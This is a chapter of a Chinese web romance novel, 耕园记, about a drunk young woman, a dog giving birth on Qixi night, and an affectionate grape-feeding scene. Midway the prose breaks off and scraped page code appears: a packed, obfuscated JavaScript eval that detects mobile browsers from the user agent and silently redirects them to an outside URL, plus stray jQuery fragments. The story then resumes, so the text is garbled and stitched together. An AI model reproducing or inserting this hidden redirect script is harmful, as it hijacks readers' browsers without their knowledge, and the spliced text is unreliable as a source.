137. 第 137 章

作品:《耕园记

    二黄撑到七夕这夜才生,彼时向园刚喝过一壶黄酒,原耕耘这才发觉她还有做醉鬼的潜质。


    照顾醉鬼的时候,琴房后传来大黑的吼声,醉鬼吓了一跳,一扑棱翻身起来,捏住原耕耘的嘴巴,“耕耘哥哥,你干什么学大黑吓我?”


    原耕耘:“……向园,明天你最好记得今天说的话。”


    “不记得不记得,我是鱼,我要游泳。”向园摇晃着脑袋,四处找水,“河呢,河呢,我的河呢?缸呢,缸呢,耕耘哥哥,快把我丢进水缸里,我要渴死了……渴死我,你就没媳妇儿了。”


    原耕耘:“……乖一点,来喝水。”


    他把向园拘在怀里,拿着杯子递到她唇边。


    向园咕嘟咕嘟喝饱了水,嘴巴凑到原耕耘胸口蹭蹭,感觉下巴的水干净了,她仰头道:“再来一杯!”


    颇为豪气!


    原耕耘叫她气笑,又给她倒了杯水,“来,再喝一杯!”


    向园喝了一口,觉得这酒不大对味,她含在嘴里,咕咕咕来回漱,“啾呜呜啾……”


    原耕耘拿过一边装果子的碗,把葡萄倒进装桃子的盘里,碗送至向园唇边:“不是酒,不喝了,吐进去。”


    向园不依,鼓着脸摇头。


    原耕耘哄道:“乖,吐了,吐出来给你吃果子。”


    向园大大的眼睛里溢出点泪,看着迷茫又委屈,原耕耘怕她不管不顾吐床上,将人往外挟了挟,掬住她嘴巴,把水弄了出来。


    向园嘴里没水了,她哭起来,“呜哇哇,原耕耘,你是故意的,你不给我水喝。”


    原耕耘戳戳她肚子,“自己听听,都咣当咣当响了,还喝呢?”


    向园才不听,她又捏住原耕耘的嘴巴,捏了好一会儿,看他不张嘴了,才松开手躺下去,“今天你去住外边,哦,不对,咱们得去看看二黄……”


    向园说完又翻起来,只是脑袋晕晕乎乎的,坐也坐不稳,她试着站起来,原耕耘几乎扶不住这滑溜溜不停摆尾巴的鱼。


    “呜呜~”


    “汪汪~”


    呜咽、吠叫不时传来,原耕耘按向园躺下,“乖乖躺着别动,我出去看看,马上回来。”


    “一起去!”向园扑腾手脚,被原耕耘按住,“乖一点,别闹,我就去看一眼。二黄要是生了,人不能往前凑,不然它要害怕。”


    向园好似听懂了,呆呆躺在那儿,“你去吧,去吧,好好看看二黄,还有二黄的宝宝。”


    “嗯。”原耕耘起身,轻轻带上房门,快步走向后头的柴棚。


    这里相对僻静,七月初,向园就单独给二黄搭了个小窝,窝里铺着厚厚软软的干草,她又找了破毡子和几件旧衣裳,清洗干净晒干垫进去,以便二黄生产。


    绕到后头,狗已经不叫了,三花把着外面,大黑把着里面,二黄小声呜呜着,似乎没什么力气。


    不敢贸然拿烛火过来,原耕耘借着月光往里瞟了一眼,看见二黄侧歪着,肚子边一团一团滚来滚去,看来已经生了。


    他没过去,往灶房去打荷包蛋。向园早就在嘀咕,生产的时候该给狗吃点什么,虽然两人商量好久也没商量明白,但人能吃的,给狗吃应该没问题。


    屋里,泛着雾气的大眼睛眨了眨,迷蒙渐消,眼睛的主人清醒几分,便听见隐隐约约的呜咽声,似乎是从后头传过来。


    “二黄……”向园喃喃两句,挣扎着坐起来,晕乎乎摸索下床,深一脚浅一脚地往后院蹭去。


    原耕耘端着两只碗,来回倒腾着把荷包蛋晾凉之后,端到二黄临时生产的小窝旁。


    二黄看他一眼,往他身后瞧,原耕耘看出他找什么,沉默片刻,摸摸它的头道:“我的错,没料到你今天生产,我给向园灌了酒,她不小心喝醉了,要明天才来看你。”


    “哇,耕耘哥哥,你总算承认你是故意的了。”醉鬼幽灵般出现在柴棚后,走过来挤到原耕耘和麦秸垛中间,一屁股蹲在地上,摸摸二黄的头,挤出两滴泪怜爱道:“乖乖,我们二黄当娘了,好厉害。”


    她打了个小小的酒嗝,看着二黄旁边的碗,脑子像被里头的荷包蛋糊住似的,又补充了句:“比我还厉害!”


    原耕耘:“……”


    二黄大眼睛湿漉漉的,瞧他俩一眼,呜咽一声,吧嗒吧嗒舔喝荷包蛋。


    .


    阳光浸透麻纸窗,窗棂筛落斑驳光影,窗台上,八只古朴的圆肚花瓶参差摆列,粉花碧叶漫出,叠作几重曲折旖旎的帷幕,随窗隙透过来的风轻轻摇曳,宛如架子床上摇荡的粉白纱帐……


    浅淡花香氤氲,向园做了个梦。


    梦里,二黄生了两只小狗。


    小狗毛色灰白,体形滚圆,憨态可掬,它们一出生就会跑会跳,还会爬上葡萄架摘葡萄,她便给它们取名叫七夕和葡萄。


    “七夕~”


    “葡萄~”


    她坐在长满粉色花苞的荷花丛中逗弄小狗。


    虽然不明白为什么她坐在荷花丛中,既没沉到湖底,也没弄脏衣裳,但这是毕竟是梦,一切皆有可能。向园纠结一瞬,很快丢下这件事,盯着七夕和葡萄瞧。


    二黄的崽儿,她得趁机瞧够了,等它生了,比对比对看看像不像,再跟耕耘哥哥炫耀。


    葡萄一听她喊葡萄,麻溜顺着葡萄藤窜上树,摘了一串圆嘟嘟的葡萄往她怀里跳。


    它跳过来,趴在向园脑袋边,将将比葡萄大一点的小爪子按着一颗小葡萄在她脸上揉来揉去。


    向园喊葡萄别闹,那狗葡萄就丢了小葡萄,整个扑到她脸上来,舔她的眼皮。


    向园一点也不敢睁眼,她好怕一睁眼,眼珠子就被葡萄当葡萄给抠走了。


    “葡萄——嗷~”


    眼皮上湿润的感觉越来越明显,向园忍无可忍,一声大喝。


    可惜只喝到一半就失了气势,她带些泣音呢喃着把话说完:“耕耘哥哥,哥哥,快点把葡萄弄走,它咬我眼睛。”


    下巴被湿漉漉卷翘的睫毛搔得痒痒的,原耕耘动作一顿,“嗯?想吃葡萄么?”


    “葡萄~”向园的嘟哝声再度传来,原耕耘侧头瞧向桌面。


    昨天新摘的一大串葡萄才吃了几颗,向园就喝醉了,剩下那些依旧绿莹莹地坠在青褐交加的茎上,青翠欲滴。


    原耕耘伸手摘下一颗,“乖,吃葡萄。”


    噙着葡萄,他低下头去。


    几声斥责都没赶走这调皮的小狗,小葡萄越发过分,小爪竟抓着葡萄往她嘴上来,向园赶紧闭上嘴巴。


    她可不想吃一嘴狗毛。


    而且,小葡萄出生她好像还没给它洗澡。


    呸,更不能吃了。


    “乖~不闹,洗了吃。”


    轻语呢喃如呼吸般细微,几不可闻,原耕耘支起耳朵也只听见一个乖字,唇上含着葡萄不能说话,他虎口轻轻卡住她的下巴,迫使她微微嘟嘴,把葡萄种上去……


    如两条小鱼追逐嬉戏,直把葡萄碾碎,清澈甘甜的汁水四溢,大小鱼喉结微微滑动,将小小鱼留给他的果肉咽下。


    向园不吃葡萄皮,也不吃葡萄籽,现在趴在床边往外吐籽,实在很煞风景。


    便是韧韧的果皮和酸涩的籽粒,也叫原耕耘品出滋味来,他越发上头,又噙了一颗,往向园唇边送。


    果不其然,小小鱼也爱这甘甜滋味,葡萄甫一接近,那柔腻如芍药,炽烈如茶花的嫩红舌尖便迫不及待探出来迎,带着不谙世事的颤巍和初出茅庐的新奇,才将一声呜咽咽下,便被大小鱼捉住,抵在齿关,又是一阵胶缠……


    这样的游戏不知玩了多久,小小鱼似是倦了,推阻着,身上染了一层薄汗,呼吸都紧促起来……</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381418|176663||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    原耕耘稍稍退开,含笑看那不停颤动的乌黑睫毛,和微微扬起的柔美雪颈。


    唇瓣被葡萄汁液浸染,泛着水润的光泽,原耕耘手指点了点,一点一点描画她的轮廓……


    向园轻呼出声,似要从摄人魂魄的无边美梦中逃离,奈何用尽力气也挣扎不出,她只好放纵自己沉沦……


    葡萄不知何时不见了,小狗葡萄跑丢了,绿珠葡萄滚远了,视野所及只有无尽的粉绿……


    向园忍不了了,哭着喊原耕耘救命。


    直至泣音中带上这个名字,酣梦中的人才逐渐回味过来,要她命的不就是原耕耘吗?


    他让她死去,又让她活过来,然后便困在半生半死的梦境中,虽生犹死,险死还生。


    原耕耘抬起头来,握住她够来的手,“在这儿呢,怎么哭了?”


    向园鼻子皱起,面颊粉红,上头染着点点泪花,可怜巴巴地道:“不要葡萄,不要……”


    原耕耘挪过来,眼底带笑,“醒多久了?”


    向园把头埋进他怀里,不肯应声。


    大手触及她酣红的脸蛋,热热的,原耕耘又抚向她汗湿的鬓角,声音带笑:“这是怎么了?记得刚刚自己说过什么吗?”


    向园悄咪咪瞥他一眼,“我才没有说话。”


    原耕耘笑觑她良久,哑声道:“此处无声胜有声,有些话可不能等你说了我才知道。”


    向园想往回缩手,却被他紧紧拽着,不由含泪控诉:“你就是欺负我。”


    “哦!”一声轻笑,原耕耘凑上去,啄吻她的唇,“那你喜欢我欺负你吗?”


    “向园,叫哥哥,我们不要葡萄了,给你别的。”


    向园嘴巴绷得紧紧的,舌尖都卷着藏起来,绝不让他找到。


    原耕耘叫她气笑,“过河拆桥是吧……”


    向园眼眶红红的,可怜极了,原耕耘笑她:“酒劲儿还没过,这么娇?还记得自己昨天说过什么么?”


    他大手摩挲在她肩头,向园心肝一颤一颤的,根本来不及分辨他说的什么,自顾自摇头。


    原耕耘箍住她,不紧不慢地道:“你说我要不给你喝酒,你就不喜欢我了,可我给你喝了酒,你又非要哺给我,死拉着我要亲我,不给你亲你还不高兴。”


    向园泪眼涟涟:“你一定是骗我的。”


    她才不信自己喝醉了是这副德性。


    “我可没骗你,”原耕耘勉强说了一句,定了定神,又道,“那会儿你就这样,娇滴滴的,把我命都捞去了半条,到一半上,还非要我给你作诗,还说要跟我对诗,若是对不上来,让我只管罚你。”


    “才没有,才没有。”向园捂他的嘴,“我又不傻,醉了也不会找人讨罚的。”


    原耕耘没憋住笑了一声,马上绷住脸,装腔道:“这就怪了,不是你讨罚,难不成是葡萄讨的,要我咬她?”


    “葡萄~”向园听见这个,又是一阵泪,“二黄生了,千万不要叫小狗崽儿上树,也不要叫它摘葡萄,更不要叫它葡萄。”


    “葡萄?”原耕耘玩味一句,脑海中闪过什么,靠近道:“向园,是不是梦见什么好东西了?跟我说说。”


    向园蛄蛹蛄蛹,脑袋埋进枕里,声音也闷闷的,“才没有,都怪你,非要喂我葡萄。”


    原耕耘凑过去,掰正她的脸,辗转亲遍,“好了好了,不闹你了,听听昨个儿非要我给你作的诗,你说做得好会给我一个大奖励,我要什么都成,结果还没念完你就醉了,现在念给你听,给我的奖励可别忘了啊……”


    原耕耘悄悄话尚未说完,便被猫爪子狠狠挠了一下,脖颈瞬时浮起一道红痕,他嘶的一声,顾不上再吟什么诗念什么词,赶紧收拢精神,把炸毛的小猫安抚好要紧。


    粉白的梨花散到天上,又落入人间,化作零落春泥,浸润花树……